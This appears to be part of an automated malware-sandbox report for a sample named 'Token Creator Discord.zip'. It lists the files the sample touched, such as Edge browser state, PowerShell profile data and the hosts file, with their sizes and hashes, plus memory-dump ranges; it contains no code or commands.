f32c110f34e352f25d1f6b2f1d2a8cb4880a99fd8d2200210484446b0c6acbaa25a63eeb7b6a9abcb6d70f56d8f18d0cd0af9caae315dd584b9ab0bc00cc341e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
d3f908c8272cfd9895e77c5d4ea331b9

SHA1
3b8bd150d4b1cecf935a7c8a2c7b2975c7e47b40

SHA256
d0b18e733f10c112b46213c40474df9d3b2c323390b9449ebb165bbc35245ea1

SHA512
6582f84711bb2a9dd7521752f7df602d7e53d94f2d68086c8e2e6ffc88a728d625f9330fb23e05309fe9cbce230d7144c1d99aa0bf3e615d6a8077fa48b6f220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
65d8154eddac13e86172e89761a962e0

SHA1
842e03efce239bf3fc1e98ea2493132ac8f2da0e

SHA256
d10be657db38946e2aa4d048f7939c934d34cb2f66dcf697aeaef88290d896a4

SHA512
32727b905d6ec79e599a092f713c380d9ad5a09975a64b5b0d3e59b012e0660a91e6add74cdbabcbc796bf2e519ce7303c5f3783355589ed516cd3ee25eae76d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
17d8127be94d3c1b6fcc9a4ed585003e

SHA1
789874fcc7c778c723f3e89822d8cc8750c6c4c8

SHA256
ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

SHA512
bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
401e2433ba6338e47aa49b1d254fae92

SHA1
ccde8ccf7ab162f2c286b0fade504b794bf9e48e

SHA256
7f511887994094051fafd009ae9b8974f7ae5ec28306ed6aa4ec54dadfd12b55

SHA512
e5fed80d17b8afaad388634863d7c64730949c462b59027bca8f6a80113895a00c135557ffcb1f3a3e7f11734ee257a05c4c69482334b372e2cbc66c4c43669d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fbt4g2yf.dtl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\Token Creator Discord.zip

Filesize
164KB

MD5
770ae61f4f5570d336e53a8a7aae65da

SHA1
7c1c40086bee324e5c26ebc02b448434c6c29f25

SHA256
ee4f27aa95ac5baa097af4e4cf9fd7358d841ccb0f200cf168e39724f6cf2e5c

SHA512
341e8e9e7afdb8f21c2fd573ba38838f56c93adaf792704724850d88c53409cc314fb53ee6b2c473a59d20317bb976650661a5c784336fab0e2f7c03321be83f

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
4028457913f9d08b06137643fe3e01bc

SHA1
a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

SHA256
289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

SHA512
c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

Download Submit
memory/5228-224-0x000001D96B980000-0x000001D96B9F6000-memory.dmp

Filesize
472KB

Download
memory/5228-226-0x000001D96BA00000-0x000001D96BA50000-memory.dmp

Filesize
320KB

Download
memory/5228-228-0x000001D96B900000-0x000001D96B91E000-memory.dmp

Filesize
120KB

Download
memory/5228-265-0x000001D96B920000-0x000001D96B92A000-memory.dmp

Filesize
40KB

Download
memory/5228-266-0x000001D96BB50000-0x000001D96BB62000-memory.dmp

Filesize
72KB

Download
memory/5228-196-0x000001D969230000-0x000001D969270000-memory.dmp

Filesize
256KB

Download
memory/5572-202-0x000002557E010000-0x000002557E032000-memory.dmp

Filesize
136KB

Download